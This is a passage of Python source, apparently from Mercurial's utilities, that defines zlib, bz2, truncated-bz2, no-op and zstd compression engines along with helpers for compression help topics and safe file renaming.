                 return None
 
         def decompress(self, data):
             try:
                 return zlib.decompress(data)
             except zlib.error as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         str(e))
 
     def revlogcompressor(self, opts=None):
         return self.zlibrevlogcompressor()
 
 compengines.register(_zlibengine())
 
 class _bz2engine(compressionengine):
     def name(self):
         return 'bz2'
 
     def bundletype(self):
         """An algorithm that produces smaller bundles than ``gzip``.
 
         All Mercurial clients should support this format.
 
         This engine will likely produce smaller bundles than ``gzip`` but
         will be significantly slower, both during compression and
         decompression.
 
         If available, the ``zstd`` engine can yield similar or better
         compression at much higher speeds.
         """
         return 'bzip2', 'BZ'
 
     # We declare a protocol name but don't advertise by default because
     # it is slow.
     def wireprotosupport(self):
         return compewireprotosupport('bzip2', 0, 0)
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         z = bz2.BZ2Compressor(opts.get('level', 9))
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = bz2.BZ2Decompressor()
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_bz2engine())
 
 class _truncatedbz2engine(compressionengine):
     def name(self):
         return 'bz2truncated'
 
     def bundletype(self):
         return None, '_truncatedBZ'
 
     # We don't implement compressstream because it is hackily handled elsewhere.
 
     def decompressorreader(self, fh):
         def gen():
             # The input stream doesn't have the 'BZ' header. So add it back.
             d = bz2.BZ2Decompressor()
             d.decompress('BZ')
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_truncatedbz2engine())
 
 class _noopengine(compressionengine):
     def name(self):
         return 'none'
 
     def bundletype(self):
         """No compression is performed.
 
         Use this compression engine to explicitly disable compression.
         """
         return 'none', 'UN'
 
     # Clients always support uncompressed payloads. Servers don't because
     # unless you are on a fast network, uncompressed payloads can easily
     # saturate your network pipe.
     def wireprotosupport(self):
         return compewireprotosupport('none', 0, 10)
 
     # We don't implement revlogheader because it is handled specially
     # in the revlog class.
 
     def compressstream(self, it, opts=None):
         return it
 
     def decompressorreader(self, fh):
         return fh
 
     class nooprevlogcompressor(object):
         def compress(self, data):
             return None
 
     def revlogcompressor(self, opts=None):
         return self.nooprevlogcompressor()
 
 compengines.register(_noopengine())
 
 class _zstdengine(compressionengine):
     def name(self):
         return 'zstd'
 
     @propertycache
     def _module(self):
         # Not all installs have the zstd module available. So defer importing
         # until first access.
         try:
             from . import zstd
             # Force delayed import.
             zstd.__version__
             return zstd
         except ImportError:
             return None
 
     def available(self):
         return bool(self._module)
 
     def bundletype(self):
         """A modern compression algorithm that is fast and highly flexible.
 
         Only supported by Mercurial 4.1 and newer clients.
 
         With the default settings, zstd compression is both faster and yields
         better compression than ``gzip``. It also frequently yields better
         compression than ``bzip2`` while operating at much higher speeds.
 
         If this engine is available and backwards compatibility is not a
         concern, it is likely the best available engine.
         """
         return 'zstd', 'ZS'
 
     def wireprotosupport(self):
         return compewireprotosupport('zstd', 50, 50)
 
     def revlogheader(self):
         return '\x28'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         # zstd level 3 is almost always significantly faster than zlib
         # while providing no worse compression. It strikes a good balance
         # between speed and compression.
         level = opts.get('level', 3)
 
         zstd = self._module
         z = zstd.ZstdCompressor(level=level).compressobj()
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         zstd = self._module
         dctx = zstd.ZstdDecompressor()
         return chunkbuffer(dctx.read_from(fh))
 
     class zstdrevlogcompressor(object):
         def __init__(self, zstd, level=3):
             # Writing the content size adds a few bytes to the output. However,
             # it allows decompression to be more optimal since we can
             # pre-allocate a buffer to hold the result.
             self._cctx = zstd.ZstdCompressor(level=level,
                                              write_content_size=True)
             self._dctx = zstd.ZstdDecompressor()
             self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
             self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
 
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 50:
                 return None
 
             elif insize <= 1000000:
                 compressed = self._cctx.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
             else:
                 z = self._cctx.compressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._compinsize
                     chunk = z.compress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 chunks.append(z.flush())
 
                 if sum(map(len, chunks)) < insize:
                     return ''.join(chunks)
                 return None
 
         def decompress(self, data):
             insize = len(data)
 
             try:
                 # This was measured to be faster than other streaming
                 # decompressors.
                 dobj = self._dctx.decompressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._decompinsize
                     chunk = dobj.decompress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 # Frame should be exhausted, so no finish() API.
 
                 return ''.join(chunks)
             except Exception as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         str(e))
 
     def revlogcompressor(self, opts=None):
         opts = opts or {}
         return self.zstdrevlogcompressor(self._module,
                                          level=opts.get('level', 3))
 
 compengines.register(_zstdengine())
 
 def bundlecompressiontopics():
     """Obtains a list of available bundle compressions for use in help."""
     # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
     items = {}
 
     # We need to format the docstring. So use a dummy object/type to hold it
     # rather than mutating the original.
     class docobject(object):
         pass
 
     for name in compengines:
         engine = compengines[name]
 
         if not engine.available():
             continue
 
         bt = engine.bundletype()
         if not bt or not bt[0]:
             continue
 
         doc = pycompat.sysstr('``%s``\n    %s') % (
             bt[0], engine.bundletype.__doc__)
 
         value = docobject()
         value.__doc__ = doc
         value._origdoc = engine.bundletype.__doc__
         value._origfunc = engine.bundletype
 
         items[bt[0]] = value
 
     return items
 
 i18nfunctions = bundlecompressiontopics().values()
 
 # convenient shortcut
 dst = debugstacktrace
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = '%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = '%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn